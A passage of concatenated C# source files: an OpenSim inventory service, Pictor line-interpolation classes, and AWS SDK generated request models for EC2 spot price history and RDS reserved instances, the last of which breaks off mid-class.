* THIS SOFTWARE IS PROVIDED BY THE DEVELOPERS ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
using System.Collections.Generic;
using System.Reflection;
using log4net;
using Nini.Config;
using OpenMetaverse;
using OpenSim.Data;
using OpenSim.Framework;
using OpenSim.Services.Interfaces;
namespace OpenSim.Services.InventoryService
{
/// <summary>
/// The Inventory service reference implementation
/// </summary>
public class InventoryService : InventoryServiceBase, IInventoryService
{
private static readonly ILog m_log
= LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType);
public InventoryService(IConfigSource config) : base(config)
{
m_log.Debug("[INVENTORY SERVICE]: Initialized.");
}
#region IInventoryServices methods
public string Host
{
get { return "default"; }
}
public List<InventoryFolderBase> GetInventorySkeleton(UUID userId)
{
m_log.DebugFormat("[INVENTORY SERVICE]: Getting inventory skeleton for {0}", userId);
InventoryFolderBase rootFolder = GetRootFolder(userId);
// Agent has no inventory structure yet.
if (null == rootFolder)
{
return null;
}
List<InventoryFolderBase> userFolders = new List<InventoryFolderBase>();
userFolders.Add(rootFolder);
IList<InventoryFolderBase> folders = m_Database.getFolderHierarchy(rootFolder.ID);
userFolders.AddRange(folders);
// m_log.DebugFormat("[INVENTORY SERVICE]: Got folder {0} {1}", folder.name, folder.folderID);
return userFolders;
}
public virtual bool HasInventoryForUser(UUID userID)
{
return false;
}
// See IInventoryServices
public virtual InventoryFolderBase GetRootFolder(UUID userID)
{
// Retrieve the first root folder we get from the DB.
InventoryFolderBase rootFolder = m_Database.getUserRootFolder(userID);
if (rootFolder != null)
return rootFolder;
// Return nothing if the plugin was unable to supply a root folder
return null;
}
// See IInventoryServices
public bool CreateUserInventory(UUID user)
{
InventoryFolderBase existingRootFolder = GetRootFolder(user);
if (null != existingRootFolder)
{
m_log.WarnFormat(
"[INVENTORY SERVICE]: Did not create a new inventory for user {0} since they already have "
+ "a root inventory folder with id {1}",
user, existingRootFolder.ID);
}
else
{
UsersInventory inven = new UsersInventory();
inven.CreateNewInventorySet(user);
AddNewInventorySet(inven);
return true;
}
return false;
}
// See IInventoryServices
/// <summary>
/// Return a user's entire inventory synchronously
/// </summary>
/// <param name="rawUserID"></param>
/// <returns>The user's inventory. If an inventory cannot be found then an empty collection is returned.</returns>
public InventoryCollection GetUserInventory(UUID userID)
{
m_log.InfoFormat("[INVENTORY SERVICE]: Processing request for inventory of {0}", userID);
// Uncomment me to simulate a slow responding inventory server
//Thread.Sleep(16000);
InventoryCollection invCollection = new InventoryCollection();
List<InventoryFolderBase> allFolders = GetInventorySkeleton(userID);
if (null == allFolders)
{
m_log.WarnFormat("[INVENTORY SERVICE]: No inventory found for user {0}", userID);
return invCollection;
}
List<InventoryItemBase> allItems = new List<InventoryItemBase>();
foreach (InventoryFolderBase folder in allFolders)
{
List<InventoryItemBase> items = GetFolderItems(userID, folder.ID);
if (items != null)
{
allItems.InsertRange(0, items);
}
}
invCollection.UserID = userID;
invCollection.Folders = allFolders;
invCollection.Items = allItems;
// foreach (InventoryFolderBase folder in invCollection.Folders)
// {
// m_log.DebugFormat("[GRID INVENTORY SERVICE]: Sending back folder {0} {1}", folder.Name, folder.ID);
// }
//
// foreach (InventoryItemBase item in invCollection.Items)
// {
// m_log.DebugFormat("[GRID INVENTORY SERVICE]: Sending back item {0} {1}, folder {2}", item.Name, item.ID, item.Folder);
// }
m_log.InfoFormat(
"[INVENTORY SERVICE]: Sending back inventory response to user {0} containing {1} folders and {2} items",
invCollection.UserID, invCollection.Folders.Count, invCollection.Items.Count);
return invCollection;
}
/// <summary>
/// Asynchronous inventory fetch.
/// </summary>
/// <param name="userID"></param>
/// <param name="callback"></param>
public void GetUserInventory(UUID userID, InventoryReceiptCallback callback)
{
m_log.InfoFormat("[INVENTORY SERVICE]: Requesting inventory for user {0}", userID);
List<InventoryFolderImpl> folders = new List<InventoryFolderImpl>();
List<InventoryItemBase> items = new List<InventoryItemBase>();
List<InventoryFolderBase> skeletonFolders = GetInventorySkeleton(userID);
if (skeletonFolders != null)
{
InventoryFolderImpl rootFolder = null;
// Need to retrieve the root folder on the first pass
foreach (InventoryFolderBase folder in skeletonFolders)
{
if (folder.ParentID == UUID.Zero)
{
rootFolder = new InventoryFolderImpl(folder);
folders.Add(rootFolder);
items.AddRange(GetFolderItems(userID, rootFolder.ID));
break; // Only 1 root folder per user
}
}
if (rootFolder != null)
{
foreach (InventoryFolderBase folder in skeletonFolders)
{
if (folder.ID != rootFolder.ID)
{
folders.Add(new InventoryFolderImpl(folder));
items.AddRange(GetFolderItems(userID, folder.ID));
}
}
}
m_log.InfoFormat(
"[INVENTORY SERVICE]: Received inventory response for user {0} containing {1} folders and {2} items",
userID, folders.Count, items.Count);
}
else
{
m_log.WarnFormat("[INVENTORY SERVICE]: User {0} inventory not available", userID);
}
callback.BeginInvoke(folders, items, null, null);
}
public InventoryCollection GetFolderContent(UUID userID, UUID folderID)
{
// Uncomment me to simulate a slow responding inventory server
//Thread.Sleep(16000);
InventoryCollection invCollection = new InventoryCollection();
List<InventoryItemBase> items = GetFolderItems(userID, folderID);
List<InventoryFolderBase> folders = RequestSubFolders(folderID);
invCollection.UserID = userID;
invCollection.Folders = folders;
invCollection.Items = items;
m_log.DebugFormat("[INVENTORY SERVICE]: Found {0} items and {1} folders in folder {2}", items.Count, folders.Count, folderID);
return invCollection;
}
public InventoryFolderBase GetFolderForType(UUID userID, AssetType type)
{
InventoryFolderBase root = m_Database.getUserRootFolder(userID);
if (root != null)
{
List<InventoryFolderBase> folders = RequestSubFolders(root.ID);
foreach (InventoryFolderBase folder in folders)
{
if (folder.Type == (short)type)
return folder;
}
}
// we didn't find any folder of that type. Return the root folder
// hopefully the root folder is not null. If it is, too bad
return root;
}
public Dictionary<AssetType, InventoryFolderBase> GetSystemFolders(UUID userID)
{
InventoryFolderBase root = GetRootFolder(userID);
if (root != null)
{
InventoryCollection content = GetFolderContent(userID, root.ID);
if (content != null)
{
Dictionary<AssetType, InventoryFolderBase> folders = new Dictionary<AssetType, InventoryFolderBase>();
foreach (InventoryFolderBase folder in content.Folders)
{
if ((folder.Type != (short)AssetType.Folder) && (folder.Type != (short)AssetType.Unknown))
folders[(AssetType)folder.Type] = folder;
}
return folders;
}
}
m_log.WarnFormat("[INVENTORY SERVICE]: System folders for {0} not found", userID);
return new Dictionary<AssetType, InventoryFolderBase>();
}
public List<InventoryItemBase> GetActiveGestures(UUID userId)
{
List<InventoryItemBase> activeGestures = new List<InventoryItemBase>();
activeGestures.AddRange(m_Database.fetchActiveGestures(userId));
return activeGestures;
}
#endregion
#region Methods used by GridInventoryService
public List<InventoryFolderBase> RequestSubFolders(UUID parentFolderID)
{
List<InventoryFolderBase> inventoryList = new List<InventoryFolderBase>();
inventoryList.AddRange(m_Database.getInventoryFolders(parentFolderID));
return inventoryList;
}
public List<InventoryItemBase> GetFolderItems(UUID userID, UUID folderID)
{
List<InventoryItemBase> itemsList = new List<InventoryItemBase>();
itemsList.AddRange(m_Database.getInventoryInFolder(folderID));
return itemsList;
}
#endregion
// See IInventoryServices
public virtual bool AddFolder(InventoryFolderBase folder)
{
m_log.DebugFormat(
"[INVENTORY SERVICE]: Adding folder {0} {1} to folder {2}", folder.Name, folder.ID, folder.ParentID);
m_Database.addInventoryFolder(folder);
// FIXME: Should return false on failure
return true;
}
// See IInventoryServices
public virtual bool UpdateFolder(InventoryFolderBase folder)
{
m_log.DebugFormat(
"[INVENTORY SERVICE]: Updating folder {0} {1} to folder {2}", folder.Name, folder.ID, folder.ParentID);
m_Database.updateInventoryFolder(folder);
// FIXME: Should return false on failure
return true;
}
// See IInventoryServices
public virtual bool MoveFolder(InventoryFolderBase folder)
{
m_log.DebugFormat(
"[INVENTORY SERVICE]: Moving folder {0} {1} to folder {2}", folder.Name, folder.ID, folder.ParentID);
m_Database.moveInventoryFolder(folder);
// FIXME: Should return false on failure
return true;
}
// See IInventoryServices
public virtual bool AddItem(InventoryItemBase item)
{
m_log.DebugFormat(
"[INVENTORY SERVICE]: Adding item {0} {1} to folder {2}", item.Name, item.ID, item.Folder);
m_Database.addInventoryItem(item);
// FIXME: Should return false on failure
return true;
}
// See IInventoryServices
public virtual bool UpdateItem(InventoryItemBase item)
{
m_log.InfoFormat(
"[INVENTORY SERVICE]: Updating item {0} {1} in folder {2}", item.Name, item.ID, item.Folder);
m_Database.updateInventoryItem(item);
// FIXME: Should return false on failure
return true;
}
public virtual bool MoveItems(UUID ownerID, List<InventoryItemBase> items)
{
m_log.InfoFormat(
"[INVENTORY SERVICE]: Moving {0} items from user {1}", items.Count, ownerID);
InventoryItemBase itm = null;
foreach (InventoryItemBase item in items)
{
itm = GetInventoryItem(item.ID);
itm.Folder = item.Folder;
if ((item.Name != null) && !item.Name.Equals(string.Empty))
itm.Name = item.Name;
m_Database.updateInventoryItem(itm);
}
return true;
}
// See IInventoryServices
public virtual bool DeleteItems(UUID owner, List<UUID> itemIDs)
{
m_log.InfoFormat(
"[INVENTORY SERVICE]: Deleting {0} items from user {1}", itemIDs.Count, owner);
// uhh.....
foreach (UUID uuid in itemIDs)
m_Database.deleteInventoryItem(uuid);
// FIXME: Should return false on failure
return true;
}
public virtual InventoryItemBase GetItem(InventoryItemBase item)
{
InventoryItemBase result = m_Database.getInventoryItem(item.ID);
if (result != null)
return result;
m_log.DebugFormat("[INVENTORY SERVICE]: GetItem failed to find item {0}", item.ID);
return null;
}
public virtual InventoryFolderBase GetFolder(InventoryFolderBase folder)
{
InventoryFolderBase result = m_Database.getInventoryFolder(folder.ID);
if (result != null)
return result;
m_log.DebugFormat("[INVENTORY SERVICE]: GetFolder failed to find folder {0}", folder.ID);
return null;
}
public virtual bool DeleteFolders(UUID ownerID, List<UUID> folderIDs)
{
foreach (UUID id in folderIDs)
{
InventoryFolderBase folder = new InventoryFolderBase(id, ownerID);
PurgeFolder(folder);
m_Database.deleteInventoryFolder(id);
}
return true;
}
/// <summary>
/// Purge a folder of all items items and subfolders.
///
/// FIXME: Really nasty in a sense, because we have to query the database to get information we may
/// already know... Needs heavy refactoring.
/// </summary>
/// <param name="folder"></param>
public virtual bool PurgeFolder(InventoryFolderBase folder)
{
m_log.DebugFormat(
"[INVENTORY SERVICE]: Purging folder {0} {1} of its contents", folder.Name, folder.ID);
List<InventoryFolderBase> subFolders = RequestSubFolders(folder.ID);
foreach (InventoryFolderBase subFolder in subFolders)
{
// m_log.DebugFormat("[INVENTORY SERVICE]: Deleting folder {0} {1}", subFolder.Name, subFolder.ID);
m_Database.deleteInventoryFolder(subFolder.ID);
}
List<InventoryItemBase> items = GetFolderItems(folder.Owner, folder.ID);
List<UUID> uuids = new List<UUID>();
foreach (InventoryItemBase item in items)
{
uuids.Add(item.ID);
}
DeleteItems(folder.Owner, uuids);
// FIXME: Should return false on failure
return true;
}
private void AddNewInventorySet(UsersInventory inventory)
{
foreach (InventoryFolderBase folder in inventory.Folders.Values)
{
AddFolder(folder);
}
}
public InventoryItemBase GetInventoryItem(UUID itemID)
{
InventoryItemBase item = m_Database.getInventoryItem(itemID);
if (item != null)
return item;
return null;
}
public int GetAssetPermissions(UUID userID, UUID assetID)
{
InventoryFolderBase parent = GetRootFolder(userID);
return FindAssetPerms(parent, assetID);
}
private int FindAssetPerms(InventoryFolderBase folder, UUID assetID)
{
InventoryCollection contents = GetFolderContent(folder.Owner, folder.ID);
int perms = 0;
foreach (InventoryItemBase item in contents.Items)
{
if (item.AssetID == assetID)
perms = (int)item.CurrentPermissions | perms;
}
foreach (InventoryFolderBase subfolder in contents.Folders)
perms = perms | FindAssetPerms(subfolder, assetID);
return perms;
}
/// <summary>
/// Used to create a new user inventory.
/// </summary>
private class UsersInventory
{
public Dictionary<UUID, InventoryFolderBase> Folders = new Dictionary<UUID, InventoryFolderBase>();
public Dictionary<UUID, InventoryItemBase> Items = new Dictionary<UUID, InventoryItemBase>();
public virtual void CreateNewInventorySet(UUID user)
{
InventoryFolderBase folder = new InventoryFolderBase();
folder.ParentID = UUID.Zero;
folder.Owner = user;
folder.ID = UUID.Random();
folder.Name = "My Inventory";
folder.Type = (short)AssetType.Folder;
folder.Version = 1;
Folders.Add(folder.ID, folder);
UUID rootFolder = folder.ID;
folder = new InventoryFolderBase();
folder.ParentID = rootFolder;
folder.Owner = user;
folder.ID = UUID.Random();
folder.Name = "Animations";
folder.Type = (short)AssetType.Animation;
folder.Version = 1;
Folders.Add(folder.ID, folder);
folder = new InventoryFolderBase();
folder.ParentID = rootFolder;
folder.Owner = user;
folder.ID = UUID.Random();
folder.Name = "Body Parts";
folder.Type = (short)AssetType.Bodypart;
folder.Version = 1;
Folders.Add(folder.ID, folder);
folder = new InventoryFolderBase();
folder.ParentID = rootFolder;
folder.Owner = user;
folder.ID = UUID.Random();
folder.Name = "Calling Cards";
folder.Type = (short)AssetType.CallingCard;
folder.Version = 1;
Folders.Add(folder.ID, folder);
folder = new InventoryFolderBase();
folder.ParentID = rootFolder;
folder.Owner = user;
folder.ID = UUID.Random();
folder.Name = "Clothing";
folder.Type = (short)AssetType.Clothing;
folder.Version = 1;
Folders.Add(folder.ID, folder);
folder = new InventoryFolderBase();
folder.ParentID = rootFolder;
folder.Owner = user;
folder.ID = UUID.Random();
folder.Name = "Gestures";
folder.Type = (short)AssetType.Gesture;
folder.Version = 1;
Folders.Add(folder.ID, folder);
folder = new InventoryFolderBase();
folder.ParentID = rootFolder;
folder.Owner = user;
folder.ID = UUID.Random();
folder.Name = "Landmarks";
folder.Type = (short)AssetType.Landmark;
folder.Version = 1;
Folders.Add(folder.ID, folder);
folder = new InventoryFolderBase();
folder.ParentID = rootFolder;
folder.Owner = user;
folder.ID = UUID.Random();
folder.Name = "Lost And Found";
folder.Type = (short)AssetType.LostAndFoundFolder;
folder.Version = 1;
Folders.Add(folder.ID, folder);
folder = new InventoryFolderBase();
folder.ParentID = rootFolder;
folder.Owner = user;
folder.ID = UUID.Random();
folder.Name = "Notecards";
folder.Type = (short)AssetType.Notecard;
folder.Version = 1;
Folders.Add(folder.ID, folder);
folder = new InventoryFolderBase();
folder.ParentID = rootFolder;
folder.Owner = user;
folder.ID = UUID.Random();
folder.Name = "Objects";
folder.Type = (short)AssetType.Object;
folder.Version = 1;
Folders.Add(folder.ID, folder);
folder = new InventoryFolderBase();
folder.ParentID = rootFolder;
folder.Owner = user;
folder.ID = UUID.Random();
folder.Name = "Photo Album";
folder.Type = (short)AssetType.SnapshotFolder;
folder.Version = 1;
Folders.Add(folder.ID, folder);
folder = new InventoryFolderBase();
folder.ParentID = rootFolder;
folder.Owner = user;
folder.ID = UUID.Random();
folder.Name = "Scripts";
folder.Type = (short)AssetType.LSLText;
folder.Version = 1;
Folders.Add(folder.ID, folder);
folder = new InventoryFolderBase();
folder.ParentID = rootFolder;
folder.Owner = user;
folder.ID = UUID.Random();
folder.Name = "Sounds";
folder.Type = (short)AssetType.Sound;
folder.Version = 1;
Folders.Add(folder.ID, folder);
folder = new InventoryFolderBase();
folder.ParentID = rootFolder;
folder.Owner = user;
folder.ID = UUID.Random();
folder.Name = "Textures";
folder.Type = (short)AssetType.Texture;
folder.Version = 1;
Folders.Add(folder.ID, folder);
folder = new InventoryFolderBase();
folder.ParentID = rootFolder;
folder.Owner = user;
folder.ID = UUID.Random();
folder.Name = "Trash";
folder.Type = (short)AssetType.TrashFolder;
folder.Version = 1;
Folders.Add(folder.ID, folder);
}
}
}
}
| |
/*
* (c) 2008 MOSA - The Managed Operating System Alliance
*
* Licensed under the terms of the New BSD License.
*
* Authors:
* Simon Wollwage (rootnode) <kintaro@think-in-co.de>
*/
using System;
namespace Pictor
{
//===================================================DdaLineInterpolator
public sealed class DdaLineInterpolator
{
private int m_y;
private int m_inc;
private int m_dy;
//int m_YShift;
private int m_FractionShift;
//--------------------------------------------------------------------
public DdaLineInterpolator(int FractionShift)
{
m_FractionShift = FractionShift;
}
//--------------------------------------------------------------------
public DdaLineInterpolator(int y1, int y2, uint count, int FractionShift)
{
m_FractionShift = FractionShift;
m_y = (y1);
m_inc = (((y2 - y1) << m_FractionShift) / (int)(count));
m_dy = (0);
}
//--------------------------------------------------------------------
//public void operator ++ ()
public void Next()
{
m_dy += m_inc;
}
//--------------------------------------------------------------------
//public void operator -- ()
public void Prev()
{
m_dy -= m_inc;
}
//--------------------------------------------------------------------
//public void operator += (uint n)
public void Next(uint n)
{
m_dy += m_inc * (int)n;
}
//--------------------------------------------------------------------
//public void operator -= (uint n)
public void Prev(int n)
{
m_dy -= m_inc * (int)n;
}
//--------------------------------------------------------------------
public int y()
{
return m_y + (m_dy >> (m_FractionShift));
} // - m_YShift)); }
public int dy()
{
return m_dy;
}
};
//=================================================Dda2LineInterpolator
public sealed class Dda2LineInterpolator
{
private enum save_size_e { save_size = 2 };
//--------------------------------------------------------------------
public Dda2LineInterpolator()
{
}
//-------------------------------------------- Forward-adjusted Line
public Dda2LineInterpolator(int y1, int y2, int count)
{
m_cnt = (count <= 0 ? 1 : count);
m_lft = ((y2 - y1) / m_cnt);
m_rem = ((y2 - y1) % m_cnt);
m_mod = (m_rem);
m_y = (y1);
if (m_mod <= 0)
{
m_mod += count;
m_rem += count;
m_lft--;
}
m_mod -= count;
}
//-------------------------------------------- Backward-adjusted Line
public Dda2LineInterpolator(int y1, int y2, int count, int unused)
{
m_cnt = (count <= 0 ? 1 : count);
m_lft = ((y2 - y1) / m_cnt);
m_rem = ((y2 - y1) % m_cnt);
m_mod = (m_rem);
m_y = (y1);
if (m_mod <= 0)
{
m_mod += count;
m_rem += count;
m_lft--;
}
}
//-------------------------------------------- Backward-adjusted Line
public Dda2LineInterpolator(int y, int count)
{
m_cnt = (count <= 0 ? 1 : count);
m_lft = ((y) / m_cnt);
m_rem = ((y) % m_cnt);
m_mod = (m_rem);
m_y = (0);
if (m_mod <= 0)
{
m_mod += count;
m_rem += count;
m_lft--;
}
}
/*
//--------------------------------------------------------------------
public void save(save_data_type* Data)
{
Data[0] = m_mod;
Data[1] = m_y;
}
//--------------------------------------------------------------------
public void load(save_data_type* Data)
{
m_mod = Data[0];
m_y = Data[1];
}
*/
//--------------------------------------------------------------------
//public void operator++()
public void Next()
{
m_mod += m_rem;
m_y += m_lft;
if (m_mod > 0)
{
m_mod -= m_cnt;
m_y++;
}
}
//--------------------------------------------------------------------
//public void operator--()
public void Prev()
{
if (m_mod <= m_rem)
{
m_mod += m_cnt;
m_y--;
}
m_mod -= m_rem;
m_y -= m_lft;
}
//--------------------------------------------------------------------
public void adjust_forward()
{
m_mod -= m_cnt;
}
//--------------------------------------------------------------------
public void adjust_backward()
{
m_mod += m_cnt;
}
//--------------------------------------------------------------------
public int mod()
{
return m_mod;
}
public int rem()
{
return m_rem;
}
public int lft()
{
return m_lft;
}
//--------------------------------------------------------------------
public int y()
{
return m_y;
}
private int m_cnt;
private int m_lft;
private int m_rem;
private int m_mod;
private int m_y;
};
//---------------------------------------------LineBresenhamInterpolator
public sealed class LineBresenhamInterpolator
{
private int m_x1_lr;
private int m_y1_lr;
private int m_x2_lr;
private int m_y2_lr;
private bool m_ver;
private uint m_len;
private int m_inc;
private Dda2LineInterpolator m_interpolator;
public enum subpixel_scale_e
{
subpixel_shift = 8,
subpixel_scale = 1 << subpixel_shift,
subpixel_mask = subpixel_scale - 1
};
//--------------------------------------------------------------------
public static int line_lr(int v)
{
return v >> (int)subpixel_scale_e.subpixel_shift;
}
//--------------------------------------------------------------------
public LineBresenhamInterpolator(int x1, int y1, int x2, int y2)
{
m_x1_lr = (line_lr(x1));
m_y1_lr = (line_lr(y1));
m_x2_lr = (line_lr(x2));
m_y2_lr = (line_lr(y2));
m_ver = (Math.Abs(m_x2_lr - m_x1_lr) < Math.Abs(m_y2_lr - m_y1_lr));
if (m_ver)
{
m_len = (uint)Math.Abs(m_y2_lr - m_y1_lr);
}
else
{
m_len = (uint)Math.Abs(m_x2_lr - m_x1_lr);
}
m_inc = (m_ver ? ((y2 > y1) ? 1 : -1) : ((x2 > x1) ? 1 : -1));
m_interpolator = new Dda2LineInterpolator(m_ver ? x1 : y1,
m_ver ? x2 : y2,
(int)m_len);
}
//--------------------------------------------------------------------
public bool is_ver()
{
return m_ver;
}
public uint len()
{
return m_len;
}
public int inc()
{
return m_inc;
}
//--------------------------------------------------------------------
public void hstep()
{
m_interpolator.Next();
m_x1_lr += m_inc;
}
//--------------------------------------------------------------------
public void vstep()
{
m_interpolator.Next();
m_y1_lr += m_inc;
}
//--------------------------------------------------------------------
public int x1()
{
return m_x1_lr;
}
public int y1()
{
return m_y1_lr;
}
public int x2()
{
return line_lr(m_interpolator.y());
}
public int y2()
{
return line_lr(m_interpolator.y());
}
public int x2_hr()
{
return m_interpolator.y();
}
public int y2_hr()
{
return m_interpolator.y();
}
};
}
| |
/*
* Copyright 2010-2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/*
* Do not modify this file. This file is generated from the ec2-2015-10-01.normal.json service model.
*/
using System;
using System.Collections.Generic;
using System.Xml.Serialization;
using System.Text;
using System.IO;
using Amazon.Runtime;
using Amazon.Runtime.Internal;
namespace Amazon.EC2.Model
{
/// <summary>
/// Container for the parameters to the DescribeSpotPriceHistory operation.
/// Describes the Spot price history. The prices returned are listed in chronological
/// order, from the oldest to the most recent, for up to the past 90 days. For more information,
/// see <a href="http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-spot-instances-history.html">Spot
/// Instance Pricing History</a> in the <i>Amazon Elastic Compute Cloud User Guide</i>.
///
///
/// <para>
/// When you specify a start and end time, this operation returns the prices of the instance
/// types within the time range that you specified and the time when the price changed.
/// The price is valid within the time period that you specified; the response merely
/// indicates the last time that the price changed.
/// </para>
/// </summary>
public partial class DescribeSpotPriceHistoryRequest : AmazonEC2Request
{
private string _availabilityZone;
private DateTime? _endTime;
private List<Filter> _filters = new List<Filter>();
private List<string> _instanceTypes = new List<string>();
private int? _maxResults;
private string _nextToken;
private List<string> _productDescriptions = new List<string>();
private DateTime? _startTime;
/// <summary>
/// Gets and sets the property AvailabilityZone.
/// <para>
/// Filters the results by the specified Availability Zone.
/// </para>
/// </summary>
public string AvailabilityZone
{
get { return this._availabilityZone; }
set { this._availabilityZone = value; }
}
// Check to see if AvailabilityZone property is set
internal bool IsSetAvailabilityZone()
{
return this._availabilityZone != null;
}
/// <summary>
/// Gets and sets the property EndTime.
/// <para>
/// The date and time, up to the current date, from which to stop retrieving the price
/// history data, in UTC format (for example, <i>YYYY</i>-<i>MM</i>-<i>DD</i>T<i>HH</i>:<i>MM</i>:<i>SS</i>Z).
/// </para>
/// </summary>
public DateTime EndTime
{
get { return this._endTime.GetValueOrDefault(); }
set { this._endTime = value; }
}
// Check to see if EndTime property is set
internal bool IsSetEndTime()
{
return this._endTime.HasValue;
}
/// <summary>
/// Gets and sets the property Filters.
/// <para>
/// One or more filters.
/// </para>
/// <ul> <li>
/// <para>
/// <code>availability-zone</code> - The Availability Zone for which prices should be
/// returned.
/// </para>
/// </li> <li>
/// <para>
/// <code>instance-type</code> - The type of instance (for example, <code>m3.medium</code>).
/// </para>
/// </li> <li>
/// <para>
/// <code>product-description</code> - The product description for the Spot price (<code>Linux/UNIX</code>
/// | <code>SUSE Linux</code> | <code>Windows</code> | <code>Linux/UNIX (Amazon VPC)</code>
/// | <code>SUSE Linux (Amazon VPC)</code> | <code>Windows (Amazon VPC)</code>).
/// </para>
/// </li> <li>
/// <para>
/// <code>spot-price</code> - The Spot price. The value must match exactly (or use wildcards;
/// greater than or less than comparison is not supported).
/// </para>
/// </li> <li>
/// <para>
/// <code>timestamp</code> - The timestamp of the Spot price history, in UTC format (for
/// example, <i>YYYY</i>-<i>MM</i>-<i>DD</i>T<i>HH</i>:<i>MM</i>:<i>SS</i>Z). You can
/// use wildcards (* and ?). Greater than or less than comparison is not supported.
/// </para>
/// </li> </ul>
/// </summary>
public List<Filter> Filters
{
get { return this._filters; }
set { this._filters = value; }
}
// Check to see if Filters property is set
internal bool IsSetFilters()
{
return this._filters != null && this._filters.Count > 0;
}
/// <summary>
/// Gets and sets the property InstanceTypes.
/// <para>
/// Filters the results by the specified instance types.
/// </para>
/// </summary>
public List<string> InstanceTypes
{
get { return this._instanceTypes; }
set { this._instanceTypes = value; }
}
// Check to see if InstanceTypes property is set
internal bool IsSetInstanceTypes()
{
return this._instanceTypes != null && this._instanceTypes.Count > 0;
}
/// <summary>
/// Gets and sets the property MaxResults.
/// <para>
/// The maximum number of results to return in a single call. Specify a value between
/// 1 and 1000. The default value is 1000. To retrieve the remaining results, make another
/// call with the returned <code>NextToken</code> value.
/// </para>
/// </summary>
public int MaxResults
{
get { return this._maxResults.GetValueOrDefault(); }
set { this._maxResults = value; }
}
// Check to see if MaxResults property is set
internal bool IsSetMaxResults()
{
return this._maxResults.HasValue;
}
/// <summary>
/// Gets and sets the property NextToken.
/// <para>
/// The token for the next set of results.
/// </para>
/// </summary>
public string NextToken
{
get { return this._nextToken; }
set { this._nextToken = value; }
}
// Check to see if NextToken property is set
internal bool IsSetNextToken()
{
return this._nextToken != null;
}
/// <summary>
/// Gets and sets the property ProductDescriptions.
/// <para>
/// Filters the results by the specified basic product descriptions.
/// </para>
/// </summary>
public List<string> ProductDescriptions
{
get { return this._productDescriptions; }
set { this._productDescriptions = value; }
}
// Check to see if ProductDescriptions property is set
internal bool IsSetProductDescriptions()
{
return this._productDescriptions != null && this._productDescriptions.Count > 0;
}
/// <summary>
/// Gets and sets the property StartTime.
/// <para>
/// The date and time, up to the past 90 days, from which to start retrieving the price
/// history data, in UTC format (for example, <i>YYYY</i>-<i>MM</i>-<i>DD</i>T<i>HH</i>:<i>MM</i>:<i>SS</i>Z).
/// </para>
/// </summary>
public DateTime StartTime
{
get { return this._startTime.GetValueOrDefault(); }
set { this._startTime = value; }
}
// Check to see if StartTime property is set
internal bool IsSetStartTime()
{
return this._startTime.HasValue;
}
}
}
| |
/*
* Copyright 2010-2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/*
* Do not modify this file. This file is generated from the rds-2014-10-31.normal.json service model.
*/
using System;
using System.Collections.Generic;
using System.Xml.Serialization;
using System.Text;
using System.IO;
using Amazon.Runtime;
using Amazon.Runtime.Internal;
namespace Amazon.RDS.Model
{
/// <summary>
/// Container for the parameters to the DescribeReservedDBInstances operation.
/// Returns information about reserved DB instances for this account, or about a specified
/// reserved DB instance.
/// </summary>
public partial class DescribeReservedDBInstancesRequest : AmazonRDSRequest
{
private string _dbInstanceClass;
private string _duration;
private List<Filter> _filters = new List<Filter>();
private string _marker;
private int? _maxRecords;
private bool? _multiAZ;
private string _offeringType;
private string _productDescription;
private string _reservedDBInstanceId;
private string _reservedDBInstancesOfferingId;
/// <summary>
/// Empty constructor used to set properties independently even when a simple constructor is available
/// </summary>
public DescribeReservedDBInstancesRequest() { }
/// <summary>
/// Gets and sets the property DBInstanceClass.
/// <para>
/// The DB instance class filter value. Specify this parameter to show only those reservations
/// matching the specified DB instances class.
/// </para>
/// </summary>
public string DBInstanceClass
{
get { return this._dbInstanceClass; }
set { this._dbInstanceClass = value; }
}
// Check to see if DBInstanceClass property is set
internal bool IsSetDBInstanceClass()
{
return this._dbInstanceClass != null;
}
/// <summary>
/// Gets and sets the property Duration.
/// <para>
/// The duration filter value, specified in years or seconds. Specify this parameter
/// to show only reservations for this duration.
/// </para>
///
/// <para>
/// Valid Values: <code>1 | 3 | 31536000 | 94608000</code>
/// </para>
/// </summary>
public string Duration
{
get { return this._duration; }
set { this._duration = value; }
}
// Check to see if Duration property is set
internal bool IsSetDuration()
{
return this._duration != null;
}
/// <summary>
/// Gets and sets the property Filters.
/// <para>
/// This parameter is not currently supported.
/// </para>
/// </summary>
public List<Filter> Filters
{
get { return this._filters; }
set { this._filters = value; }
}
// Check to see if Filters property is set
internal bool IsSetFilters()
{
return this._filters != null && this._filters.Count > 0;
}
/// <summary>
/// Gets and sets the property Marker.
/// <para>
/// An optional pagination token provided by a previous request. If this parameter is
/// specified, the response includes only records beyond the marker, up to the value specified
/// by <code>MaxRecords</code>.
/// </para>
/// </summary>
public string Marker
{
get { return this._marker; }
set { this._marker = value; }
}
